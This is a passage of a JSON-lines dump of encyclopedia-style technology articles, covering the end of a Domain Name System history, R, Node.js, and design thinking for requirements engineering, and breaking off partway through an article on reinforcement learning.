RFC 1035: Domain Names — Implementation and Specification\n    + RFC 1123: Requirements for Internet Hosts — Application and Support\n\n\n## Milestones\n\nNov  \n1983\n\nPaul Mockapetris invents DNS since he finds that other proposals do not meet the requirements of the Internet. He also starts writing *Jeeves*, the first DNS server implementation. IETF publishes two documents on DNS: RFC 882 for concepts and facilities; and RFC 883 for implementation and specification. These early documents are replaced with RFC 1034 and RFC 1035 in November 1987. \n\nOct  \n1984\n\nWith the publication of *RFC 920: Domain Requirements*, this is the \"official\" beginning of DNS. This document mentions top-level domain names GOV, EDU, COM, MIL, and ORG. It gives example names: CCN.OAC.LA.UC.EDU, DASH.MIT.EDU, HP-LABS.CSNET. \n\n1985\n\nAround the mid-1980s, **Berkeley Internet Name Domain (BIND)** is created at the University of California at Berkeley. It's an implementation of a DNS server for the UNIX platform. In subsequent years, BIND goes on to become the most widely used DNS software. In September 2000, BIND version 9 is released. This is a major rewrite and leads to deprecation of versions 4 and 8. \n\nMar  \n1985\n\nComputer manufacturer Symbolics registers **symbolic.com**, making it the world's first registered domain within DNS. The name is sold almost 25 years later in 2009. While many older hosts continue to use HOSTS.TXT even in the late 1980s, by 1985, some hosts use DNS as the sole means of accessing names. \n\n1995\n\nNetwork Solutions Inc. (NSI) that manages domain names starts charging for domain name registration. Earlier, domain name registration was free and managed by the U.S. government. \n\nNov  \n1998\n\n**The Internet Corporation for Assigned Names and Numbers (ICANN)** is formed to coordinate DNS addressing structure including managing the top-level domain (TLD) name space. ICANN takes over from the Internet Assigned Numbers Authority (IANA). While ICANN is a private entity, its operations are overseen by the US Department of Commerce (DoC). \n\n2012\n\nMike Mann registers 14,962 domain names in 24 hours, spending about $100,000. It's speculative but buying and selling domain names is big business. \n\nApr  \n2013\n\nThe original creator of DNS, Paul Mockapetris, says in an interview that it's time for DNS 2.0 that includes security, \n\n> We need to get to the next level of naming, which combines authentication, but more importantly, a reputation system.\n\nOct  \n2013\n\nThe first four new generic Top-Level Domains (gTLDs) are announced. This is followed by another 69 names in 2013, 406 names in 2014, 391 names in 2015, and 340 names in 2016. Generic top-level domains (gTLDs) are known to users as the text coming at the end of a URL such as COM, ORG, or EDU. Some examples of new gTLDs are PHONE, IEEE, SONG, HYUNDAI, GUIDE. \n\n2014\n\nA study of a regulatory filing reveals **Cars.com** as the most expensive domain name to be sold, valued at $872 million. Other record sales publicly reported till October 2018 include CarInsurance.com ($49.7m), Insurance.com ($35.6m), and VacationRentals.com ($35m). \n\nSep  \n2016\n\nICANN's contract with the U.S Department of Commerce expires. This completes the privatization of ICANN that was envisioned in 1998.","meta":{"title":"Domain Name System","href":"domain-name-system"}}
{"text":"# R (Language)\n\n## Summary\n\n\nR is a free software environment for statistical computing and graphics. This definition implies that R is open source, is designed for statistical computing and has strong graphing capabilities. R is a language but also an environment in the sense that it's for users who wish to do interactive statistical analysis and modelling, but who are not necessarily programmers. \n\nR is based on S, a language from the 1970s. While R has evolved a lot, it still retains many of the design constructs of its early days. In recent times, adoption of R is growing due to interest in Big Data and Data Science. However, the use of R should be seen as complementary to other languages such as Python.\n\n## Discussion\n\n### How would you describe R?\n\nR is a language that's influenced by two different paradigms: object-oriented programming and functional programming. Everything in R is an object. Computations in R are function calls. In fact, function definitions and function calls are also objects. It's also an interpreted language (no compilation is required). \n\nObject references in R is a combination of name and context called *environment*. Changing an object by local references will affect the object only within the local environment. A function call translates to the creation of a new environment. Hence, phrases \"call by value\" or \"call by reference\" common in other languages, are not applicable in R. \n\nThere are no scalar types in R. Vector-based types are used. Lazy arguments are used for functions. In other words, the arguments are evaluated inside the functions only when required. \n\n\n### What are the advantages of R?\n\nUnlike S-PLUS, SAS or SPSS, R is open source and can be used without any licensing fee. R is cross-platform: it can be used on Linux, Windows or MAC OS. \n\nR is supported by a large community. Along with frequent releases by a core team, the wider community has released thousands of packages that are available at the Comprehensive R Archive Network (CRAN). Beyond this community of volunteers, R is backed by big companies. The R Foundation and the R Consortium are committed to the evolution of R. \n\nR and many third-party packages are suited for data analysis and modelling. R simplifies the work of a data scientist by offering tools for easy data manipulation, visualization and modeling. At its core, R operations are vectorized. This means that vectors and matrices can be easily handled. Because it's interpreted, R is highly interactive. R users can start using R interactively, and as they gather more expertise, they can do more complex things by writing R scripts. \n\n\n### What are the typical applications where R is used?\n\nR is popular among data scientists because of the many statistical packages that it offers. Quantitative analysts use R. It's been used in diverse fields: biotech, finance, research, high technology industries, and more. Anywhere there's a need to produce production-quality plotting, R is a suitable choice. Likewise, in the area of Machine Learning R has an advantage because of its strong ties with academia. \n\nIn econometrics, one researcher explained that R enabled him to do complex regressions. He was able to do this via custom matrix algebra and validate the results against those offered by R packages. When there's a need to look at complex statistical properties, R has an advantage. \n\nAccording to data scientist Matt Adams, \n\n> I wouldn't even say R is for programmers. It's best suited for people that have data-oriented problems they're trying to solve, regardless of their programming aptitude.\n\n\n### What are some criticisms of R?\n\nR is said to be poor in memory management. Because of the requirement of environments, all objects must be stored internally rather than as files on disk. In recent times, this limitation has been somewhat remedied. Newer developments from Microsoft are expected to address this as well: ParallelR for distributed computing, Rhadoop for running on Hadoop nodes, Reproducible R Toolkit and RevoPemaR for writing parallel external memory algorithms. Also, there are packages and tools to handle Big Data in R. \n\nR is worse in terms of performance and lacks proper unit testing frameworks. \n\nSecurity was not built into R at the design stage. This means that we can't use it via web server or embed it in a web browser. However, the use of isolated virtual containers can provide the necessary security to make this possible in a world of cloud computing. Likewise, Shiny is an R package that can be used to create interactive web applications. DeployR is another package for bringing R analytics to web dashboards. \n\n\n### For Data Science, should I choose R or Python?\n\nBoth R and Python are open source. Both are maintained by active communities. Both are interpreted languages. Both can be used interactively. Both have good tools to work with. \n\nWhile Python has 138,000+ packages, R has 12,000+ packages (May 2018). This is expected since Python is versatile while R is more focused on statistical computing. R is said to have more statistical packages that suit the work of a data scientist. However, Python's capability is getting better due to NumPy, Pandas, scikit-learn, Keras, and TensorFlow. Python's graphical capabilities are also improving with matplotlib, Bokeh, Seaborn, and Plotly. \n\nBecause Python is more object-oriented, it may be a better choice for large projects. If the main work is data analysis, R must be preferred. If work involves gathering and cleaning data as well, Python may be a better choice. Having said that, statisticians tend to prefer R while computer scientists go with Python. \n\nA mix of the two, each suited to its strengths, is a good choice. Python could be used for preprocessing data while R could do the statistical analysis. \n\n\n### As a beginner, how can I get started with R?\n\nDownload and install R. This is sufficient to execute R commands and scripts. For better developer experience, download and install RStudio. This is an IDE that integrates a text editor with syntax checking, R console to execute commands, easy access to documentation, a panel to view variables for debugging, a plot viewer, and more. \n\nRead about most useful third-party packages. Install these from CRAN as required by your projects. One approach is to install the tidyverse collection of packages. This will install a number of packages useful for data science work.\n\nLearn one or more of R Markdown, Shiny, Knitr and Bookdown. These will help you to document your code, its results and share the same with others in various formats.\n\nLearn the language syntax. Get familiar with R data types and structures. In particular, learn about vectors, lists and data frames. Next, learn about R's graphing capabilities. Common plotting systems to learn are *Base* and *ggplot2*.\n\n## Milestones\n\n1976\n\nA new language by the name of *S* is initiated in Bell Labs for statistical computations. It's written in Fortran. In 1988, it's rewritten in C. *S-PLUS* is a commercial implementation of *S*. \n\nAug  \n1993\n\n*R* language is announced to the public by Ross Ihaka and Robert Gentleman in the Department of Statistics at the University of Auckland. Their work on R started in 1991. For portability, R is coded in ANSI standard C. In syntax, R resembles S but the underlying semantics is based on Scheme. Ihaka mentions,\n\n> We implemented the language by first writing an interpreter for a Scheme subset and then progressively mutating it to resemble S.\n\nJun  \n1995\n\nR source code is released to all under the Free Software Foundation's GNU GPL license. \n\n1997\n\n*R Core Group* is formed to handle change requests. Group members are volunteers and contribute whenever possible. \n\nFeb  \n2000\n\nR version 1.0.0 is released to the public. \n\n2015\n\n*R Consortium* is founded to \"support the worldwide community of users, maintainers and developers of R software\". The Consortium collaborates with *R Foundation* (founded in 2003), the governing body of the R Project.\n\n2015\n\nMicrosoft acquires Revolution Analytics, which offers both community and enterprise distributions of R. In January 2016, Microsoft announces that Revolution products are renamed/integrated into Microsoft's products. \n\nApr  \n2018\n\nR version 3.5.0 is released. In May 2018, *Microsoft R Open (MRO)* version 3.5.0 becomes available. \n\nMay  \n2018\n\nThere are about 12,500+ packages on the *The Comprehensive R Archive Network (CRAN)*. A similar number is listed on the *Microsoft R Application Network (MRAN)*.","meta":{"title":"R (Language)","href":"r-language"}}
{"text":"# Node.js\n\n## Summary\n\n\nSince its birth in 1995, JavaScript has established itself as the de facto programming language on the client side of a web application. It executes within a web browser and thereby delivers more dynamic content and makes user experience more interactive. However, to execute code on the server side, we had PHP, ASP, Perl, Python, etc. Until Node.js, there was no popular JavaScript support on the server side.\n\nNode.js is a JavaScript runtime that can be executed on servers, that is, outside a web browser environment. By default, it's based on Google's V8 JavaScript engine. It's open source and cross platform. It's steered by the Node.js Foundation.\n\nNode.js adopts an event-driven architecture and asynchronous I/O. This enables it to scale better, particularly for real-time web apps or apps that do a lot of I/O. The Node.js ecosystem includes thousands of packages and frameworks.\n\n## Discussion\n\n### What's the context for the creation of Node.js?\n\nThe web was invented based on the client-server model. Clients (such as web browsers) request the server for a resource. The server serves the content as a response. In this model, the server cannot initiate a response. Even if data has changed on the server, it has to wait for the client to give a request. This was alright when users were passive consumers of information. \n\nWhen social sites such as Facebook and Twitter arrived, everyone became a potential producer of information. There was a rise of chat apps, multi-user gaming and apps for real-time collaboration. We needed a method for servers to push data to clients. While Flash and Java Applets enabled this, they were isolated environments that used non-standard ports. \n\nSecondly, typical web servers launch a new thread to handle every client request. This means that scalability is limited by memory and the penalty of switching across threads. \n\nNode.js solves these problems by using single-threaded event-driven processing. It offloads I/O tasks to worker threads and processes them asynchronously via callbacks. Ultimately, this makes it easier for us to develop scalable real-time apps. \n\n\n### What sort of applications can benefit from Node.js?\n\nNode.js is suited for apps that have lots of database accesses or waits on network connections. When there's a need to scale your app to thousands of parallel requests, Node.js does this well without hitting performance limits. On the flip side, Node.js is not suited for CPU-intensive tasks, which will block the main thread. \n\nWith Node.js, stream processing of data is possible. Worker threads do this processing. It's also good for queueing inputs for later batch processing. \n\nNode.js with Socket.IO makes it easy to build real-time apps such as chat apps or games. It can be used as a proxy to handle many simultaneous connections. Apps with rich real-time dashboards can be created. Microservices architecture can be implemented with Node.js. \n\nIf your codebase spans both client and server concerns, Node.js helps you to write in a single language, JavaScript. This makes it easier to later refactor the code if necessary. JavaScript is a natural fit for transferring JSON data or working with object databases such as MongoDB without the extra processing of encoding or decoding. \n\n\n### How does Node.js work under the hood?\n\nWhen a Node app starts, callbacks are registered for events. A **callback** is nothing more than executable code that must be called when the event occurs. After this initialization phase, Node enter the **Event Loop**. In this loop, Node waits for events to happen and trigger the appropriate callbacks. It's for this reason Node.js is said to use **event-driven programming** paradigm. \n\nFor example, a client requests a web page. Event loop will invoke the associated callback. This is **synchronous**: event loop will wait for the callback to complete. However, if the callback requires some data from a database, the event loop being a single thread will get **blocked** since I/O is slower compared to CPU. Other events will start queueing up. \n\nTo prevent this, Node.js adopts **non-blocking asynchronous I/O**: slow tasks will be handed over to the **Worker Pool**. This frees the event loop to move on the next event. When a worker completes its task, it will signal an event, at which point, the event loop will process its callback synchronously. \n\n\n### Could you share more details on the event loop?\n\nEvent loop is also called main loop, main thread, or event thread. It's where code executes synchronously, that is, the event loop will wait until execution completes. If there are asynchronous calls to be made, event loop will register their callbacks and handover the tasks to worker pool. The idea is to perform only lightweight tasks on the event loop so that it can handle as many requests as possible. Throughput (requests per second) is an important concern for the event loop. \n\nIt's important to note that the application and the event loop run within a single thread. All events are processed in the same thread. Pending events are not stored in a single queue. Rather, the event loop is a set of phases, with each phase having events queued for processing. \n\n\n### Could you share more details on workers?\n\nWorker Pool manages a number of threads that can be used for both I/O-intensive or CPU-intensive tasks. The worker pool maintains a queue of tasks to be processed. When a worker becomes available, it's assigned a task. \n\nBoth event loop and worker threads make use of `libuv`, a multi-platform support library for asynchronous I/O. It's implemented in C. Since operating systems often provide asynchronous interfaces, libuv will use these in preference to its own thread pool. \n\nSince Node v10.5.0, on an experimental basis, it's been possible to create pools, specify the number of workers or have control of one worker communicating with another. This is part of the `worker-threads-pool` package. \n\n\n### For my next web app, should I use Node.js or Express.js?\n\nExpress is a web application framework built on top of Node. You can build a web app with either of these but development will be faster when built with Express. Even better is to adopt the **MEAN** stack. This is a technology stack that combines MongoDB, Express, Angular and Node. \n\nHaving said this, developers have a choice. Express is not the only Node.js framework. Others include hapi, koa or Sails. For fullstack, Meteor, Feathers or Keystone are alternatives to MEAN. \n\nWhat if you're building a REST API? In this case, performance is important. Express may be too heavy and slow for building REST API endpoints or an API gateway. You could use Node directly but there are Node frameworks that are minimalistic and optimized for REST APIs: fastify, restana, restify, koa, polka. \n\n\n### What are some success stories with Node.js adoption?\n\nPaypal built a Node.js app in half the time with 33% fewer lines of code compared to its Java codebase. LinkedIn's mobile app using Node.js backend is 20x faster and uses only 3 servers compared to 30 that Ruby on Rails needed. At Netflix, Node.js has reduced app startup time by 70%. Groupon web pages are 50% faster with Node.js compared to Rails. They can also serve much higher traffic. At GoDaddy, they now require 10x fewer servers and time-to-first-byte is down to 12ms from 60ms. \n\nUber is able to process 2 million remote procedure calls per second, thanks to Node.js. Medium is now able to deploy faster. At NASA, by moving to a single database and Node.js they reduced access times by 300%. \n\n\n### What are some useful resources for a Node.js developer?\n\nGuides and official documentation are available from the main Node.js site. For latest news, you can follow the Node.js Foundation website. The Foundation's site includes resources and case studies.\n\nAmong the package managers for Node.js are npm and yarn. As of October 2018, the npm site hosts about 800,000 JavaScript packages. Node Frameworks gives a list of frameworks to consider. To install and manage multiple versions of Node, use Node Version Manager (NVM).\n\nA video series by Net Ninja titled Node JS Tutorial for Beginners is a good place to start for beginners.\n\nA curated list of Node.js resources is available from Angular Minds.\n\n## Milestones\n\nDec  \n1995\n\nNetscape Communications and Sun Microsystems announce JavaScript to the world. This includes **Netscape LiveWire** that allows server-side execution of JavaScript. Hence, Node.js is certainly not the first to enable server-side JS execution.\n\n2009\n\nRyan Dahl and others at Joyent develop Node.js with initial support for only Linux. The name *Node* is coined in March. Being open source, version 0.1.0 is released on GitHub in May. In November, Ryan Dahl presents Node.js at JSConf in Berlin. \n\n2010\n\nAs a web development framework based on Node.js, **Express.js** is released. For real-time event-based communication, **Socket.IO** is released. \n\n2011\n\nTo manage packages for Node.js, **Node Package Manager (NPM)** is released. An early preview of NPM can be traced to 2009, by Isaac Z. Schlueter. \n\nDec  \n2014\n\nNode.js community undergoes a split, with the fork named **io.js**. This is because some feel that Node.js updates are slow, and even after five years the library is still in version 0.x. Some also note that Node.js is controlled by Joyent and it's less open than desired. In January 2015, v1.0.0 of io.js is released. \n\nFeb  \n2015\n\nJoyent, IBM, Microsoft, PayPal, Fidelity, SAP and The Linux Foundation come together to establish **Node.js Foundation**. The Foundation will see that Node.js is managed in a more open manner and have regular releases. In June, Linux Foundation announces that Node.js and io.js will merge their codebases. \n\nSep  \n2015\n\nVersion 4.0 is released. This is a combined release of both Node.js and io.js. It includes many ES6 features. Thus, the much awaited version 1.x of Node.js does not happen. Version 4.0 is so numbered probably because the last version of io.js is v3.3.1. \n\nOct  \n2015\n\nNode.js v4.2.0 \"Argon\" is released as the first Long Term Support (LTS) release. This means that it will be supported for 30 months. \n\nJan  \n2016\n\nMicrosoft releases and open sources **ChakraCore**, a JavaScript engine for Node.js. This is therefore an alternative to V8 engine that's been the main runtime since the birth of Node.js. \n\nOct  \n2016\n\nDevelopers at Facebook release **Yarn** as an alternative to npm. \n\n2017\n\nNode.js is seen to have reached mainstream adoption. Online instances reach 8.8 million with 3 billion npm packages downloaded per week. Node.js is downloaded 25 million times this year, including a million in a single day. \n\nApr  \n2018\n\nWith Node.js version 9, HTTP/2 is now supported. This was available since July 2017 on an experimental basis.","meta":{"title":"Node.js","href":"node-js"}}
{"text":"# Design Thinking for Requirements Engineering\n\n## Summary\n\n\n**Design Thinking (DT)** comes from the design discipline. It explores both the problem space and the solution space. Its attributes include user needs, prototyping, feedback, iterations and multidisciplinary perspectives. **Requirements Engineering (RE)** comes from the engineering discipline. It too considers user needs but it's more technical and formal. Requirements are documented as formal specifications. \n\nIdentifying requirements is a complex task and DT is good at tackling complex problems. DT and RE complement each other. In one model, DT is applied to elicit requirements that feed into RE. However, teams can switch between DT and RE as the situation demands. \n\nResearch in DT for RE is still nascent and perhaps more so in practice. For example, can DT be applied to other software engineering (SE) tasks? How do DT principles map to SE principles? These are open research questions.\n\n## Discussion\n\n### Why do we need design thinking for requirements engineering?\n\nIn RE, the perspective is mainly **technical**. Even when engineers apply human-computer-interaction to create user interfaces/interactions, they may disappoint users. This is because they fail to see the user perspective. Users may not articulate their needs precisely. DT can bring out underlying needs. It's said that asking questions isn't enough to identify user needs. They must be tracked down. \n\nEngineers are guided by **analytical thinking**, both deductive and inductive logic. Design thinking is more open, collaborative and multidisciplinary. DT is better at creativity and innovation. DT helps RE with a better understanding of user and domain. The learning curve associated with DT gives engineers an appreciation of how and why each requirement has emerged. This aids them in implementation. \n\nRE emphasizes formal and elaborate **documentation**. This hinders quick feedback and short iterations. There have been cases of extensive documentation of poorly understood user needs, resulting in unusable code. \n\n\n### Hasn't Agile already solved the RE problem?\n\nIn the mid-80s, it was recognized that the traditional waterfall model isn't adequate. It considered user perspectives only at the start and the end of projects. Agile practices such as Extreme Programming, Feature-Driven Development, Kanban and Scrum were introduced. Agile emphasized working software over formal documentation, customer collaboration over contract negotiation. \n\nBut RE in Agile has its limitations: minimal documentation of requirements, unclear requirements, neglect of non-functional requirements, tacit requirements, wrong prioritization. \n\nWhile Agile does prototyping, it uses the same materials as the final product. The prototype can then be iterated towards the final product. The focus is not on learning, which DT fosters. \n\nIn Agile, user scenarios are inputs to modelling. In DT, scenarios are a tool towards creativity. Scenarios are related to personas to give narrative power. Modelling is less important in DT. \n\nAgile practices fall short in terms exploring the problem/solution space. Agile emphasizes incremental refinements on a chosen path. It's been said, \n\n> Agile is always looking to remove options from the table. Design thinking is always trying to keep options on the table as long as possible.\n\n\n### Could you give an example of DT for RE?\n\nConsider the figure above. The telephone layout makes sense but the calculator layout is in reverse. Calculators evolved partly from cash registers such as the Comptometer (1885). One probable explanation is that levers and rotating drums beneath the buttons implemented the *method of complements*. Technologically, it was easier to implement this in the reverse layout. Today's familiar 3x3 calculator layout first appeared in 1914, a David Sundstrand invention. \n\nThe telephone's layout came about in the 1960s. Under the discipline of *human factors engineering*, engineers studied as many as 15 layouts and sought user feedback. The study revealed that users preferred left-to-right, top-to-bottom layout. Layouts 2x5 and 3x3+1 were equally efficient. AT&T adopted the latter, which became the standard for future pushbutton handsets. \n\nThis example shows that telephone engineers considered user needs and used prototyping to test ideas. Interestingly, modern calculators continue to use the old layout even when the original technical constraints are gone. We may say that this too is user-centric since users are used to this layout. \n\n\n### What are the pros and cons of applying DT to RE?\n\nIt's been seen that DT promotes better perception of business requirements, better collaboration with colleagues and users, learning for all stakeholders, and delivering value. In the problem space, user needs are better understood. DT fosters creativity and problem reframing. DT achieves better understanding of usability and user experience. RE takes this forward towards design and architecture. \n\nBringing a multidisciplinary team together is a challenge. Organizational culture may come in the way of open discussions. Not enough time is given. Calls or emails may interrupt people high in the hierarchy. There's a tendency to adopt familiar solutions without adequately understanding the problem. People may not engage simply because they don't see the value. While DT is strong on usability, it fails to capture other non-functional requirements such as security and performance. Since DT is unstructured (uses post-its and low-fidelity prototypes), tracing requirements is not easy. Requirements prioritization and effort estimation are hard to do. \n\n\n### What's a suitable model for DT in RE?\n\nOne proposed model structures the process in three layers: context layer (why the system is needed), requirements layer (what are the user-level requirements and features), and system layer (how the system will be realized). Each layer produces artefacts that feed into the next layer. At the context layer, we apply the DT process. At the requirements layer, detailed technical specifications are produced. \n\nHowever, the process is not linear. We adopt DT whenever we need a better understanding of user needs or the business context. When we need a more technical view or feasibility analysis, we adopt RE. Both DT and RE are complementary tools that help us customize the process as the situation demands. \n\n\n### How can an organization adopt DT for RE?\n\nDT can be combined with RE in three ways: \n\n    + **Upfront**: DT is applied before RE. DT is a guiding process. It's useful when there's high uncertainty about the problem or solution.\n    + **Infused**: DT is applied to specific RE tasks to clarify those tasks. DT is a toolbox in RE.\n    + **Integrated**: DT is a guiding mindset that's continuously applied to the entire RE process. Organizations may start with the infused approach and then move towards the integrated approach.Organizations prefer streamlined processes and quality gates. They have to meet deadlines and budgets. The exploratory and creative nature of DT is perceived as a risk. For these reasons, DT is better applied as a frontend technique rather than fully integrated into RE. DT can be selectively applied to fuzzy requirements. However, as a front-end technique, moving from concept to implementation is a challenge. For this reason, a fully integrated approach is better in the long term. \n\n\n### What techniques or tools are suited for DT in RE?\n\nThe figure shows a selection of tools as applied by DT for RE. User personas help bring out specific needs based on user preferences or behaviours. Prototypes help gather user feedback and refine those needs. User journeys help determine the steps the user will take to fulfil those needs. Service blueprints show interfaces and interactions through which users can realize their journeys. \n\nIn fact, design thinking has many more tools that can be used in the phases of immersion, ideation and implementation. Any of these could be used for RE. Some of these are stakeholder mapping, desk research, framing/reframing, interviewing, observation, active listening, clustering, storytelling, brainstorming, brainwriting, role playing, sketching, and feedback capture grid. \n\nBeyond the tools, individuals must be **T-shaped**: able to look at problems horizontally (multidisciplinary and broad perspectives) and vertically (specialized and deep expertise). To support collaboration and open discussions, a DT team without a designated leader is preferred. The office environment should also support collaborative behaviours. \n\n## Milestones\n\n1997\n\nHolzmann et al. publish a paper titled *Design Tools for Requirements Engineering*. They note that many requirements can be captured in **Message Sequence Charts (MSCs)**. MSCs can be formally analyzed for causal structures and race conditions. POGA and TEMPLE are tools to analyze MSCs. However, the use of design tools doesn't equate to design thinking. Requirements engineering in this paper is still rooted in technical perspectives. Sutcliffe presents an alternate approach that uses prototypes, design rationales, and user scenarios: these are closer to design thinking. \n\n2000\n\nThis decade sees more awareness among engineers that **user perspective** is important. New roles are introduced: user-interface designer, interaction designer, and user-experience designer. User-centered design is about translating user needs into software design. User experience design has broader scope. However, these roles and practices don't promote shared understanding or collaboration within the team. Design thinking achieves these via a multidisciplinary approach. \n\n2011\n\nLindberg et al. at the Hasso Plattner Institut publish a paper titled *Design Thinking: A Fruitful Concept for IT Development?*. The paper considers all phases of software development and not just requirements engineering. They note that engineers apply analytical thinking and their perspective is mainly technical. This is where design thinking can help. It's relevant to note that the Hasso Plattner Institute of Design at Stanford University (d.school) was founded in 2003. \n\nMar  \n2013\n\nVetterli et al. explain that RE was a good approach to developing large enterprise software and backend systems. Increasingly app-driven products are coming out. These need faster iterations. Agile development came as a solution but addressed only functional requirements of users. To capture, non-functional requirements DT can help. DT offers methods to elicit user needs. DT is about iterating, learning and ultimately capturing user needs. They note that, \"Unlike requirements engineering, design thinking aims to fail early in order to succeed sooner\". \n\nMay  \n2013\n\nSoledade et al. study the use of design thinking for a Learning Management System (LMS). They use mockups, interviews and feedback forms. Users, mediators and observers take part. They find that design thinking brought better alignment of proposals with user expectations. Design thinking led to refinement of functional and non-functional requirements. Another finding is that developers might invest lot of time and effort on some features that aren't necessarily noticed by users. \n\n2018\n\nHehn et al. publish a technical paper that combines design thinking and requirements engineering. Hehn's research leads to further papers and publication of the book *Design Thinking for Software Engineering* in 2022, with Hehn as one of its editors. \n\nMay  \n2020\n\nIn the context of Scrum, Alhazmi and Huang propose that any item entering the product backlog for the next sprint shall be derived from user stories. User stories are generated via design thinking. Change requests and bug reports shall go through the design thinking process before getting scheduled for the next sprint. \n\n2022\n\nFrom a literature review and industry survey, it's found that as many as 86 creativity and DT techniques exist for eliciting requirements. Individuals are more familiar with DT techniques than creativity techniques. Most used DT techniques are interview, brainstorming, uses cases, activity analysis, user story, and rapid prototyping.","meta":{"title":"Design Thinking for Requirements Engineering","href":"design-thinking-for-requirements-engineering"}}
{"text":"# Reinforcement Learning\n\n## Summary\n\n\nReinforcement Learning (RL) is a subset of Machine Learning (ML). Whereas supervised ML learns from labelled data and unsupervised ML finds hidden patterns in data, RL learns by **interacting with a dynamic environment**. \n\nHumans learn from experience. A parent may reward her child for getting good grades, or punish for bad grades. By interacting with peers, parents and teachers, the child learns what habits lead to good grades and what lead to bad grades. It learns to follow good habits to obtain good grades and higher rewards. In RL, this sort of feedback is called **reward** or **reinforcement**. The essence of RL is to learn how to act or behave in order to maximize rewards. \n\nA suitable definition is that, \n\n> Reinforcement learning is the problem faced by an agent that must learn behaviour through trial-and-error interactions with a dynamic environment.\n\n## Discussion\n\n### Could you explain reinforcement learning with an example?\n\nThomas Edison, the inventor of the light bulb, reportedly performed thousands of experiments before arriving at a carbon filament taken from a shred of bamboo. Edison said, \"I have not failed 10,000 times. I have succeeded in proving that those 10,000 ways will not work.\" This anecdote is relevant to reinforcement learning. RL welcomes mistakes. RL is about learning what works and what doesn't through many trial-and-error experiments.\n\nIn the game of Pong, a ball bounces back and forth between two paddles. Our RL-trained agent software controls one paddle. The rewards in this simple game are clear: +1 if the ball beats the opponent, -1 if we missed the ball, 0 otherwise. Our agent can see current state of the game in terms of pixels. Based on this input and what the agent has learned so far, it decides if it has move its paddle up or down. The agent may lose the game many times but via negative rewards it will learn to avoid those paddle actions. Likewise, it will learn what paddle actions lead to high rewards.  \n\n\n### Why do we need reinforcement learning?\n\nReinforcement learning differs from other ML approaches. Unlike supervised learning, there's no supervision in RL, only a reward signal. Feedback is delayed, not instantaneous. In a chess game, long-term reward is apparent only after a series of moves.  \n\nIn supervised or unsupervised learning, a static dataset is usually the input. Reinforcement learning happens within a dynamic environment. Data is not independent and identically distributed. The agent can take many different exploratory paths through the environment. Immediate action affects the subsequent data the agent receives.  \n\nIn many complex problems, the only way to learn is by interacting with the environment. In complex board games, it's hard for humans to provide evaluations of a large number of positions. It's easier to learn the evaluation function via rewards. \n\n\n### Which are some practical applications of reinforcement learning?\n\nRL has wide application in many fields: robotics and industrial automation, data science and machine learning, personalized education and training, healthcare, natural language processing, media and advertising, trading and finance, autonomous driving, gaming and many more. \n\nRL can **optimize operations** in many industries. Google used it to reduce energy consumption in its data centers. Process planning, demand forecasting, warehouse operations (such as picking and placing), fleet logistics, inventory management, delivery management, fault detection, camera tuning, and computer networking are some applications that RL can optimize.  \n\nWe note a few specific areas:  \n\n    + **Machine Learning**: For a given problem, identify suitable neural network architectures. Google's AutoML based on RL does exactly this. RL models could assist software developers to write computer programs.\n    + **NLP**: Generate summarizes from long text. Assist chatbots to learn from user interactions and respond to queries in a more natural manner. Useful for question answering and machine translation.\n    + **Media & Advertising**: Give personalized content recommendations. Use in cross-channel marketing optimization and real-time bidding systems. Optimize video streaming quality. Deliver more meaningful notifications to users.\n    + **Healthcare**: Dynamic treatment regimes, automated medical diagnosis, process control, drug discovery, health management.\n\n### How is reinforcement learning related to other fields?\n\nRL has interesting parallels with other fields: \n\n    + **Neuroscience**: The brain learns via reinforcement. Synaptic associations are strengthened or weakened based on conditioned and unconditioned stimuli. In humans, dopamine serves as the reward.\n    + **Psychology**: New behaviours are learned via associations. Reward and punishment are used to modify behaviour. Operant conditioning closely relates to RL.\n    + **Economics**: Behaviour economics is concerned with decision making. While rational economic agents maximize utility, humans are not fully rational. We often optimize for satisfaction. The similarity with RL is that agents often have incomplete information of the environment.\n    + **Mathematics**: Operations Research (OR) is a field that's similar to RL. OR employs analytical methods to aid decision making. System simulations leading to reward maximization or cost minimization are OR concerns.\n    + **Engineering**: Control problems involve a cost function of state and variables. Differential equations model the path of control variables. Equivalent RL concepts are policy (controller), actions (actuator commands), observations (state feedback) and reward/observations (reference signal).\n\n### Which are some essential terms in RL?\n\nIt's easier to understand RL, once we get familiar with these essential terms:\n\n    + **Agent**: An entity that's being trained to perform a specific task by interacting with the environment. It's sometimes called *controller*.\n    + **Environment**: This is everything except the agent. This includes system dynamics.\n    + **State**: Parameter values that define the current configuration of the environment.\n    + **Action**: An agent outputs an action to the environment and thereby changes the environment's state. Action itself is determined by observed states and policy.\n    + **Reward**: The numerical result of taking an action in a given state. *Return* or *utility* is the sum of current and future rewards when following a sequence of states. Utility is also called *long-term reward*.\n    + **Policy**: A function that takes state observations as inputs and outputs actions. It has a logical structure and tunable parameters that the agent learns. The agent's goal is to learn the optimal policy to maximize reward or utility. Equivalently, it's a probabilistic mapping from states to actions.\n\n### How does learning happen in RL?\n\nThe agent starts by observing the environment's state. Based on the current policy, the agent acts. This action changes the environment's state. In return, the agent gets a reward. From the reward, the agent determines if the action was beneficial. A positive reward reinforces the action or agent's behaviour. A negative reward informs the agent to avoid such an action, at least in a particular state. This feedback cycle of observe-act-reward-update is repeated many times. The agent learns with each iteration. \n\nA perfect policy is learned when the agent knows exactly what action to take in every possible state. In practice, this is rare. The environment is not static. The agent might encounter new states never seen before during the learning phase. In some cases, it's not possible to accurately observe the environment's state. The technical term for this is **Partially Observable Markov Decision Process (POMDP)**. \n\nTherefore, in practice, we need an **RL algorithm**. It's role is to update the policy based on states, actions and rewards. In this way, it responds to changing environments. \n\n\n### What are the main approaches to reinforcement learning?\n\nIf RL has knowledge of the environment and models it, then we called it **model-based RL**. A model guides the agent to learn faster by ignoring low-reward states. If learning is done only via interactions with the environment without any knowledge of how the environment works, then we call it **model-free RL**. \n\nIn **passive RL**, the policy is fixed and agent learns the utilities of states, possibly involving learning a model. In **active RL**, the agent must learn what actions to take. An active agent explores the state space to obtain a better model and higher rewards. \n\nDuring state space exploration, the current policy may not be followed. We call this **off-policy learning**. Otherwise, the algorithm is **on-policy learning**.  A stochastic policy allows exploration. \n\nInstead of interacting with the environment, it's possible to learn from large datasets of past interactions. This data-driven approach is called **offline or batch RL**. \n\nWhere deep neural networks are employed, the term **Deep RL** is common. \n\n\n### What are some specialized approaches in reinforcement learning?\n\nTypically a single agent learns. Multiple agents coordinating and learning to maximize a common utility function is called **distributed RL**. Multiple agents who typically don't coordinate their actions and having separate utility functions are part of 